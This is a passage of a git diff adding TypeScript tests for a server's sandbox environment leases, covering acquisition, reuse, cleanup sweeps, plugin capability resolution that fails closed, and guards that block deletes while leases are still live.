+    expect(acquired.lease.providerLeaseId).toBe("fresh-plugin-lease");
+    expect(acquired.lease.leasePolicy).toBe("ephemeral");
+    expect(workerManager.call).toHaveBeenCalledTimes(1);
+    expect(workerManager.call).toHaveBeenCalledWith(pluginId, "environmentAcquireLease", expect.anything(), 31234);
+    expect(workerManager.call).not.toHaveBeenCalledWith(
+      pluginId,
+      "environmentResumeLease",
+      expect.anything(),
+      expect.anything(),
+    );
+    // The runtime leaves the old reusable lease untouched: it neither resumes
+    // nor destroys a lease it cannot serve.
+    await expect(environmentService(db).getLeaseById(existingLease.id)).resolves.toMatchObject({
+      status: "active",
+      leasePolicy: "reuse_by_environment",
+    });
+  });
+
   it("destroys scoped reusable plugin-backed sandbox leases", async () => {
     const { pluginId, companyId, executionWorkspaceId, reusableLease } =
       await seedReusablePluginSandboxLease();
@@ -2585,6 +5610,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2613,6 +5639,71 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     });
   });
 
+  it("sweeps reusable cleanup with the configuration recorded on the lease", async () => {
+    const { pluginId, environment, reusableLease } = await seedReusablePluginSandboxLease();
+    const environmentsSvc = environmentService(db);
+    await environmentsSvc.releaseLease(reusableLease.id, "pending_cleanup", {
+      failureReason: "release_cleanup_failed",
+      cleanupStatus: "failed",
+    });
+
+    // Re-point the environment after the reusable sandbox was provisioned.
+    // The pending-cleanup sweep still enters destroyRunLease because the
+    // environment exists, but destroy must target the provider and config
+    // captured on the lease rather than this current configuration.
+    await environmentsSvc.update(environment.id, {
+      config: {
+        provider: "replacement-provider",
+        image: "replacement:test",
+        timeoutMs: 9999,
+        reuseLease: true,
+      },
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentDestroyLease") return undefined;
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+      getWorker: vi.fn(() => ({
+        supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"],
+      })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtimeWithPlugin });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+
+    expect(result).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+    expect(workerManager.call).toHaveBeenCalledWith(
+      pluginId,
+      "environmentDestroyLease",
+      expect.objectContaining({
+        driverKey: "fake-plugin",
+        environmentId: environment.id,
+        providerLeaseId: "reusable-plugin-lease",
+        config: expect.objectContaining({
+          image: "fake:test",
+          timeoutMs: 1234,
+          reuseLease: true,
+        }),
+      }),
+      31234,
+    );
+    const destroyInput = vi.mocked(workerManager.call).mock.calls[0]?.[2] as {
+      config?: Record<string, unknown>;
+    };
+    expect(destroyInput.config).not.toMatchObject({
+      image: "replacement:test",
+      timeoutMs: 9999,
+    });
+    await expect(environmentsSvc.getLeaseById(reusableLease.id)).resolves.toMatchObject({
+      status: "expired",
+      cleanupStatus: "success",
+    });
+  });
+
   it("retries reusable plugin-backed sandbox destroy when the worker is unavailable", async () => {
     const { pluginId, companyId, executionWorkspaceId, reusableLease } =
       await seedReusablePluginSandboxLease();
@@ -2620,6 +5711,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     const offlineWorkerManager = {
       isRunning: vi.fn(() => false),
       call: vi.fn(),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithOfflinePlugin = environmentRuntimeService(db, {
       pluginWorkerManager: offlineWorkerManager,
@@ -2649,6 +5741,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithRecoveredPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: recoveredWorkerManager,
@@ -2679,6 +5772,262 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     });
   });
 
+  it("resolves effective capabilities from the lease's exact plugin, not an earlier plugin that shares the driver key", async () => {
+    // The helper seeds the plugin that owns the lease. Pin it to `pluginId`
+    // through the lease metadata and give it a lower-priority sibling.
+    const { pluginId, environment, reusableLease } = await seedReusablePluginSandboxLease();
+
+    // Rewrite the owner plugin so it DENIES reusable leases through the nested
+    // capability declaration.
+    await db
+      .update(plugins)
+      .set({
+        manifestJson: {
+          id: "acme.reusable-sandbox-provider",
+          apiVersion: 1,
+          version: "1.0.0",
+          displayName: "Reusable Sandbox Provider",
+          description: "Owner plugin that denies reusable leases",
+          author: "Paperclip",
+          categories: ["automation"],
+          capabilities: ["environment.drivers.register"],
+          entrypoints: { worker: "dist/worker.js" },
+          environmentDrivers: [
+            {
+              driverKey: "fake-plugin",
+              kind: "sandbox_provider",
+              displayName: "Fake Plugin",
+              sandboxCapabilities: { reusableLeases: false },
+              configSchema: { type: "object", properties: {} },
+            },
+          ],
+        },
+        updatedAt: new Date(),
+      } as any)
+      .where(eq(plugins.id, pluginId));
+
+    // Install an EARLIER plugin that shares the driver key and grants reusable
+    // leases. It is not ready and never acquired this lease. A resolver keyed by
+    // driver key alone would read this declaration and grant a capability the
+    // owner plugin denied.
+    const collidingPluginId = randomUUID();
+    await db.insert(plugins).values({
+      id: collidingPluginId,
+      pluginKey: "acme.colliding-sandbox-provider",
+      packageName: "@acme/colliding-sandbox-provider",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.colliding-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Colliding Sandbox Provider",
+        description: "Earlier plugin that shares the driver key",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            supportsReusableLeases: true,
+            configSchema: { type: "object", properties: {} },
+          },
+        ],
+      },
+      status: "installed",
+      installOrder: 0,
+      updatedAt: new Date(),
+    } as any);
+
+    // The owner worker verifies the reuse verbs and the sync verbs, so every
+    // capability is verified. Only the owner's declaration can narrow one.
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(),
+      getWorker: vi.fn((id: string) =>
+        id === pluginId
+          ? {
+              supportedMethods: [
+                "environmentResumeLease",
+                "environmentReleaseLease",
+                "environmentSyncIn",
+                "environmentSyncOut",
+              ],
+            }
+          : undefined,
+      ),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    expect(reusableLease.metadata?.pluginId).toBe(pluginId);
+
+    const effective = await runtimeWithPlugin.effectiveSandboxCapabilities({
+      environment,
+      lease: reusableLease,
+    });
+
+    // The runtime read the owner plugin's declaration, so it denies reusable
+    // leases even though the earlier plugin grants them.
+    expect(effective?.reusableLeases).toBe(false);
+    // The owner plugin does not restrict native sync, and its worker verifies
+    // the sync verbs, so those stay granted. This proves the resolver read the
+    // owner declaration and did not fail every capability closed.
+    expect(effective?.nativeSyncIn).toBe(true);
+    expect(effective?.nativeSyncOut).toBe(true);
+  });
+
+  it("fails every effective capability closed when the pinned plugin id is absent from the registry", async () => {
+    // The lease pins a plugin id, but that plugin record is gone. A stale worker
+    // entry still advertises every method. The runtime must not read the stale
+    // methods; it must fail closed because the exact-plugin identity is gone.
+    const { pluginId, environment, reusableLease } = await seedReusablePluginSandboxLease();
+    await db.delete(plugins).where(eq(plugins.id, pluginId));
+
+    const workerManager = {
+      isRunning: vi.fn(() => true),
+      call: vi.fn(),
+      getWorker: vi.fn(() => ({
+        supportedMethods: [
+          "environmentResumeLease",
+          "environmentReleaseLease",
+          "environmentExecute",
+          "environmentSyncIn",
+          "environmentSyncOut",
+        ],
+      })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const effective = await runtimeWithPlugin.effectiveSandboxCapabilities({
+      environment,
+      lease: reusableLease,
+    });
+
+    for (const key of SANDBOX_CAPABILITY_KEYS) {
+      expect(effective?.[key]).toBe(false);
+    }
+  });
+
+  it("fails every effective capability closed when the pinned plugin no longer declares this provider key", async () => {
+    // The pinned plugin still exists, but it no longer declares a
+    // `sandbox_provider` driver with this key (here it changed the driver kind).
+    // A running worker still advertises every method. The runtime must fail
+    // closed because the exact-plugin declaration is gone.
+    const { pluginId, environment, reusableLease } = await seedReusablePluginSandboxLease();
+    await db
+      .update(plugins)
+      .set({
+        manifestJson: {
+          id: "acme.reusable-sandbox-provider",
+          apiVersion: 1,
+          version: "1.0.0",
+          displayName: "Reusable Sandbox Provider",
+          description: "Owner plugin that no longer declares the provider key",
+          author: "Paperclip",
+          categories: ["automation"],
+          capabilities: ["environment.drivers.register"],
+          entrypoints: { worker: "dist/worker.js" },
+          environmentDrivers: [
+            {
+              driverKey: "fake-plugin",
+              // The key exists, but the kind is now a plain environment driver,
+              // not a sandbox provider. The by-id resolver fails closed.
+              kind: "environment_driver",
+              displayName: "Fake Plugin",
+              configSchema: { type: "object", properties: {} },
+            },
+          ],
+        },
+        updatedAt: new Date(),
+      } as any)
+      .where(eq(plugins.id, pluginId));
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(),
+      getWorker: vi.fn(() => ({
+        supportedMethods: [
+          "environmentResumeLease",
+          "environmentReleaseLease",
+          "environmentExecute",
+          "environmentSyncIn",
+          "environmentSyncOut",
+        ],
+      })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const effective = await runtimeWithPlugin.effectiveSandboxCapabilities({
+      environment,
+      lease: reusableLease,
+    });
+
+    for (const key of SANDBOX_CAPABILITY_KEYS) {
+      expect(effective?.[key]).toBe(false);
+    }
+  });
+
+  it("defers to verified worker discovery for a valid pinned plugin that omits sandboxCapabilities", async () => {
+    // A valid, identified plugin whose manifest declares no `sandboxCapabilities`
+    // and no legacy reuse flag. Its worker verifies the sync verbs. An omitted
+    // declaration is NOT an identity failure: the runtime defers to the verified
+    // baseline, so native sync stays granted while unverified capabilities stay
+    // false.
+    const { pluginId, environment, reusableLease } = await seedReusablePluginSandboxLease();
+    await db
+      .update(plugins)
+      .set({
+        manifestJson: {
+          id: "acme.reusable-sandbox-provider",
+          apiVersion: 1,
+          version: "1.0.0",
+          displayName: "Reusable Sandbox Provider",
+          description: "Owner plugin that omits the capability declaration",
+          author: "Paperclip",
+          categories: ["automation"],
+          capabilities: ["environment.drivers.register"],
+          entrypoints: { worker: "dist/worker.js" },
+          environmentDrivers: [
+            {
+              driverKey: "fake-plugin",
+              kind: "sandbox_provider",
+              displayName: "Fake Plugin",
+              configSchema: { type: "object", properties: {} },
+            },
+          ],
+        },
+        updatedAt: new Date(),
+      } as any)
+      .where(eq(plugins.id, pluginId));
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(),
+      getWorker: vi.fn((id: string) =>
+        id === pluginId
+          ? { supportedMethods: ["environmentSyncIn", "environmentSyncOut"] }
+          : undefined,
+      ),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const effective = await runtimeWithPlugin.effectiveSandboxCapabilities({
+      environment,
+      lease: reusableLease,
+    });
+
+    // The worker verified the sync verbs and the omitted declaration adds no
+    // restriction, so native sync stays granted.
+    expect(effective?.nativeSyncIn).toBe(true);
+    expect(effective?.nativeSyncOut).toBe(true);
+    // The worker did not verify the reuse verbs, so reusable leases stay false.
+    expect(effective?.reusableLeases).toBe(false);
+  });
+
   it("releases a sandbox run lease from metadata after the environment config changes", async () => {
     const { companyId, environment, runId } = await seedEnvironment({
       driver: "sandbox",
@@ -2810,6 +6159,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2856,6 +6206,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         return undefined;
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: workerManager,
@@ -2968,6 +6319,111 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     expect(released[0]?.lease.status).toBe("released");
   });
 
+  async function seedPluginDriverEnvironment(pluginId: string) {
+    const seeded = await seedEnvironment({
+      driver: "plugin",
+      name: "Plugin Fake plugin",
+      config: {
+        pluginKey: "acme.environments",
+        driverKey: "fake-plugin",
+        driverConfig: { template: "base" },
+      },
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "acme.environments",
+      packageName: "@acme/paperclip-environments",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.environments",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Acme Environments",
+        description: "Test plugin environment driver",
+        author: "Acme",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          { driverKey: "fake-plugin", displayName: "Fake plugin", configSchema: { type: "object" } },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    return seeded;
+  }
+
+  it("forwards a requested expiry to the acquire RPC and records only a provider-attested expiry", async () => {
+    const pluginId = randomUUID();
+    let receivedRequestedExpiresAt: unknown;
+    const workerManager = {
+      isRunning: vi.fn(() => true),
+      call: vi.fn(async (_pluginId: string, method: string, params: Record<string, unknown>) => {
+        if (method === "environmentAcquireLease") {
+          receivedRequestedExpiresAt = params.requestedExpiresAt;
+          // The provider grants no expiry.
+          return { providerLeaseId: "plugin-lease-no-expiry", metadata: { remoteCwd: "/workspace" } };
+        }
+        return undefined;
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+    const { companyId, environment, runId } = await seedPluginDriverEnvironment(pluginId);
+
+    const requestedExpiresAt = new Date(Date.now() + 60_000);
+    const acquired = await runtimeWithPlugin.acquireRunLease({
+      companyId,
+      environment,
+      issueId: null,
+      heartbeatRunId: runId,
+      persistedExecutionWorkspace: null,
+      requestedExpiresAt,
+    });
+
+    // The acquire RPC receives the requested expiry as an ISO 8601 string.
+    expect(receivedRequestedExpiresAt).toBe(requestedExpiresAt.toISOString());
+    // The provider gave no expiry, so the lease row records no expiry. The runtime
+    // never synthesizes the requested deadline as evidence of provider enforcement.
+    expect(acquired.lease.expiresAt ?? null).toBeNull();
+  });
+
+  it("records the real provider expiry when the provider grants one later than the requested deadline", async () => {
+    const pluginId = randomUUID();
+    const providerExpiresAt = new Date(Date.now() + 120_000).toISOString();
+    const workerManager = {
+      isRunning: vi.fn(() => true),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "plugin-lease-later",
+            expiresAt: providerExpiresAt,
+            metadata: { remoteCwd: "/workspace" },
+          };
+        }
+        return undefined;
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+    const { companyId, environment, runId } = await seedPluginDriverEnvironment(pluginId);
+
+    const acquired = await runtimeWithPlugin.acquireRunLease({
+      companyId,
+      environment,
+      issueId: null,
+      heartbeatRunId: runId,
+      persistedExecutionWorkspace: null,
+      requestedExpiresAt: new Date(Date.now() + 60_000),
+    });
+
+    // The lease row records the real provider expiry, not the requested deadline.
+    // The caller then verifies the expiry bounds its deadline and fails closed.
+    expect(acquired.lease.expiresAt?.toISOString()).toBe(providerExpiresAt);
+  });
+
   it("delegates the full plugin environment lifecycle through the worker manager", async () => {
     const pluginId = randomUUID();
     const workerManager = {
@@ -3011,6 +6467,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         return undefined;
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: workerManager,
@@ -3207,4 +6664,68 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     expect(sshRelease).not.toHaveBeenCalled();
     expect(acquired.lease.metadata?.driver).toBe("local");
   });
+
+  it("test_release_run_leases_continues_after_first_release_fails", async () => {
+    const { companyId, environment, runId } = await seedEnvironment();
+    const environmentsSvc = environmentService(db);
+
+    // Seed two active leases for one run. The first driver release throws; the
+    // second must still release.
+    const failingLease = await environmentsSvc.acquireLease({
+      companyId,
+      environmentId: environment.id,
+      heartbeatRunId: runId,
+      provider: "local",
+      providerLeaseId: "fail-release",
+      metadata: { driver: "local" },
+    });
+    const healthyLease = await environmentsSvc.acquireLease({
+      companyId,
+      environmentId: environment.id,
+      heartbeatRunId: runId,
+      provider: "local",
+      providerLeaseId: "healthy-release",
+      metadata: { driver: "local" },
+    });
+
+    const runtimeWithFailingDriver = environmentRuntimeService(db, {
+      drivers: [
+        {
+          driver: "local",
+          acquireRunLease: async () => {
+            throw new Error("acquire should not be called");
+          },
+          releaseRunLease: async ({ lease, status }) => {
+            if (lease.providerLeaseId === "fail-release") {
+              throw new Error("driver release failed");
+            }
+            return await environmentsSvc.releaseLease(lease.id, status);
+          },
+        },
+      ],
+    });
+
+    const errors: Array<{ leaseId: string; error: unknown }> = [];
+    const released = await runtimeWithFailingDriver.releaseRunLeases(
+      runId,
+      "released",
+      (leaseId, error) => errors.push({ leaseId, error }),
+    );
+
+    // The healthy lease released even though the first release failed.
+    expect(released).toHaveLength(1);
+    expect(released[0]?.lease.id).toBe(healthyLease.id);
+    expect(released[0]?.lease.status).toBe("released");
+
+    // The failed release reported one lease-specific error.
+    expect(errors).toHaveLength(1);
+    expect(errors[0]?.leaseId).toBe(failingLease.id);
+    expect((errors[0]?.error as Error).message).toBe("driver release failed");
+
+    // The database confirms the isolation. The healthy lease released; the
+    // failing lease stayed active.
+    const rows = await db.select().from(environmentLeases);
+    expect(rows.find((row) => row.id === healthyLease.id)?.status).toBe("released");
+    expect(rows.find((row) => row.id === failingLease.id)?.status).toBe("active");
+  });
 });
diff --git a/server/src/__tests__/environment-service.test.ts b/server/src/__tests__/environment-service.test.ts
index 9f294cb311b..1f77984a71e 100644
--- a/server/src/__tests__/environment-service.test.ts
+++ b/server/src/__tests__/environment-service.test.ts
@@ -397,6 +397,8 @@ describeEmbeddedPostgres("environmentService leases", () => {
       environmentId,
       canDelete: false,
       deleteBlockedReasons: ["instance_default"],
+      pendingCleanupLeaseCount: 0,
+      reusableSandboxLeaseCount: 0,
       staticReferences: {
         isManagedLocal: false,
         isInstanceDefault: true,
@@ -488,6 +490,374 @@ describeEmbeddedPostgres("environmentService leases", () => {
     expect(deletedRows).toHaveLength(0);
   });
 
+  it("blocks delete while a pending_cleanup lease still holds the sandbox reference", async () => {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Pending Cleanup Guard",
+      driver: "ssh",
+      status: "active",
+      config: {
+        host: "pending.example.test",
+        port: 22,
+        username: "fixture",
+        remoteWorkspacePath: "/srv/paperclip",
+      },
+      createdAt: now,
+      updatedAt: now,
+    });
+    await svc.insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      provider: "fake-plugin",
+      providerLeaseId: "sandbox-1",
+      failureReason: "teardown_failed",
+    });
+
+    const impact = await svc.getDeleteBlastRadius(environmentId);
+    expect(impact?.canDelete).toBe(false);
+    expect(impact?.deleteBlockedReasons).toContain("pending_sandbox_cleanup");
+    expect(impact?.pendingCleanupLeaseCount).toBe(1);
+    expect(await svc.hasUnresolvedPendingCleanupLeases(environmentId)).toBe(true);
+
+    const removed = await svc.removeIfDeletable(environmentId);
+    const rows = await db.select().from(environments).where(eq(environments.id, environmentId));
+    expect(removed).toBeNull();
+    expect(rows).toHaveLength(1);
+  });
+
+  it("atomically blocks delete while a reusable sandbox lease is still live", async () => {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Reusable Sandbox Guard",
+      driver: "sandbox",
+      status: "active",
+      config: {
+        provider: "fake",
+        image: "ubuntu:24.04",
+        reuseLease: true,
+      },
+      createdAt: now,
+      updatedAt: now,
+    });
+    const lease = await svc.acquireLease({
+      companyId,
+      environmentId,
+      leasePolicy: "reuse_by_environment",
+      provider: "fake",
+      providerLeaseId: "sandbox-reusable-1",
+      metadata: {
+        driver: "sandbox",
+        provider: "fake",
+        image: "ubuntu:24.04",
+        reuseLease: true,
+      },
+    });
+
+    const activeImpact = await svc.getDeleteBlastRadius(environmentId);
+    expect(activeImpact?.canDelete).toBe(false);
+    expect(activeImpact?.deleteBlockedReasons).toContain("reusable_sandbox_lease");
+    expect(activeImpact?.reusableSandboxLeaseCount).toBe(1);
+    expect(await svc.removeIfDeletable(environmentId)).toBeNull();
+
+    // A released reusable lease still owns a provider sandbox that may be
+    // resumed, so it must remain protected until scoped cleanup destroys it.
+    await svc.releaseLease(lease.id, "released");
+    const releasedImpact = await svc.getDeleteBlastRadius(environmentId);
+    expect(releasedImpact?.canDelete).toBe(false);
+    expect(releasedImpact?.reusableSandboxLeaseCount).toBe(1);
+    expect(await svc.removeIfDeletable(environmentId)).toBeNull();
+
+    const rows = await db.select().from(environments).where(eq(environments.id, environmentId));
+    expect(rows).toHaveLength(1);
+    const storedLease = await svc.getLeaseById(lease.id);
+    expect(storedLease?.environmentId).toBe(environmentId);
+  });
+
+  it("allows delete with an active ephemeral lease", async () => {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Ephemeral Sandbox",
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "fake", image: "ubuntu:24.04" },
+      createdAt: now,
+      updatedAt: now,
+    });
+    await svc.acquireLease({
+      companyId,
+      environmentId,
+      leasePolicy: "ephemeral",
+      provider: "fake",
+      providerLeaseId: "sandbox-ephemeral-1",
+    });
+
+    const impact = await svc.getDeleteBlastRadius(environmentId);
+    expect(impact?.activeRuntimeUse.activeLeaseCount).toBe(1);
+    expect(impact?.reusableSandboxLeaseCount).toBe(0);
+    expect(impact?.canDelete).toBe(true);
+    expect((await svc.removeIfDeletable(environmentId))?.id).toBe(environmentId);
+  });
+
+  it("allows delete once the pending_cleanup lease resolves", async () => {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Resolved Cleanup Guard",
+      driver: "ssh",
+      status: "active",
+      config: {
+        host: "resolved.example.test",
+        port: 22,
+        username: "fixture",
+        remoteWorkspacePath: "/srv/paperclip",
+      },
+      createdAt: now,
+      updatedAt: now,
+    });
+    const lease = await svc.insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      provider: "fake-plugin",
+      providerLeaseId: "sandbox-1",
+      failureReason: "teardown_failed",
+    });
+    // The sweep marks a cleaned orphan `expired`, so it leaves the terminal
+    // `pending_cleanup` state and no longer blocks the delete.
+    await svc.releaseLease(lease.id, "expired", { cleanupStatus: "success" });
+
+    const impact = await svc.getDeleteBlastRadius(environmentId);
+    expect(impact?.canDelete).toBe(true);
+    expect(impact?.pendingCleanupLeaseCount).toBe(0);
+    expect(impact?.reusableSandboxLeaseCount).toBe(0);
+    expect(await svc.hasUnresolvedPendingCleanupLeases(environmentId)).toBe(false);
+
+    const removed = await svc.removeIfDeletable(environmentId);
+    const rows = await db.select().from(environments).where(eq(environments.id, environmentId));
+    expect(removed?.id).toBe(environmentId);
+    expect(rows).toHaveLength(0);
+  });
+
+  it("records the orphan with a null reference when a delete already removed the environment", async () => {
+    // A delete wins the untracked window before the orphan record lands. The
+    // record must still persist, so the sweep keeps a durable handle to the
+    // remote sandbox.
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Deleted Before Record",
+      driver: "ssh",
+      status: "active",
+      config: {
+        host: "deleted.example.test",
+        port: 22,
+        username: "fixture",
+        remoteWorkspacePath: "/srv/paperclip",
+      },
+      createdAt: now,
+      updatedAt: now,
+    });
+
+    const removed = await svc.removeIfDeletable(environmentId);
+    expect(removed?.id).toBe(environmentId);
+
+    // The foreign key does not reject the insert. The insert reads the absent
+    // environment and stores a null reference with the immutable provider
+    // metadata, so the teardown still runs later.
+    const lease = await svc.insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      provider: "fake-plugin",
+      providerLeaseId: "sandbox-orphan-1",
+      metadata: { provider: "fake-plugin", config: { provider: "fake-plugin" } },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+
+    expect(lease.environmentId).toBeNull();
+    expect(lease.status).toBe("pending_cleanup");
+    expect(lease.provider).toBe("fake-plugin");
+    expect(lease.providerLeaseId).toBe("sandbox-orphan-1");
+
+    const rows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, lease.id));
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.environmentId).toBeNull();
+    expect(rows[0]?.metadata).toMatchObject({ provider: "fake-plugin" });
+  });
+
+  it("keeps the orphan when an environment delete and the orphan record race", async () => {
+    // Race the delete against the orphan record. The record locks the
+    // environment row `for update`, and the delete refuses while a
+    // `pending_cleanup` lease exists, so the two writes serialize into one of
+    // two safe outcomes. The orphan row persists in both.
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Delete Vs Record Race",
+      driver: "ssh",
+      status: "active",
+      config: {
+        host: "race.example.test",
+        port: 22,
+        username: "fixture",
+        remoteWorkspacePath: "/srv/paperclip",
+      },
+      createdAt: now,
+      updatedAt: now,
+    });
+
+    const [removed, lease] = await Promise.all([
+      svc.removeIfDeletable(environmentId),
+      svc.insertPendingCleanupLease({
+        companyId,
+        environmentId,
+        provider: "fake-plugin",
+        providerLeaseId: "sandbox-orphan-2",
+        metadata: { provider: "fake-plugin", config: { provider: "fake-plugin" } },
+        failureReason: "acquire_rejected_teardown_failed",
+      }),
+    ]);
+
+    // The orphan row always persists, so no ordering strands the sandbox.
+    const leaseRows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.status, "pending_cleanup"));
+    expect(leaseRows).toHaveLength(1);
+    expect(leaseRows[0]?.id).toBe(lease.id);
+    expect(leaseRows[0]?.provider).toBe("fake-plugin");
+
+    const environmentRows = await db
+      .select()
+      .from(environments)
+      .where(eq(environments.id, environmentId));
+    if (removed) {
+      // The delete won. The environment is gone, and the orphan keeps a null
+      // reference with its immutable provider metadata.
+      expect(environmentRows).toHaveLength(0);
+      expect(leaseRows[0]?.environmentId).toBeNull();
+    } else {
+      // The record won. The orphan keeps the environment reference, and the
+      // delete refused because the `pending_cleanup` lease now exists.
+      expect(environmentRows).toHaveLength(1);
+      expect(leaseRows[0]?.environmentId).toBe(environmentId);
+    }
+  });
+
+  it("keeps the recorded provider immutable when a provider change and the orphan record race", async () => {
+    // Race a provider change against the orphan record for the original
+    // provider. The recorded lease must keep the original provider and its
+    // immutable teardown metadata, so a later retry targets the original
+    // provider, never the reconfigured one.
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    const now = new Date();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Acme",
+      status: "active",
+      createdAt: now,
+      updatedAt: now,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: "Provider Change Vs Record Race",
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "provider-a" },
+      createdAt: now,
+      updatedAt: now,
+    });
+
+    const [, lease] = await Promise.all([
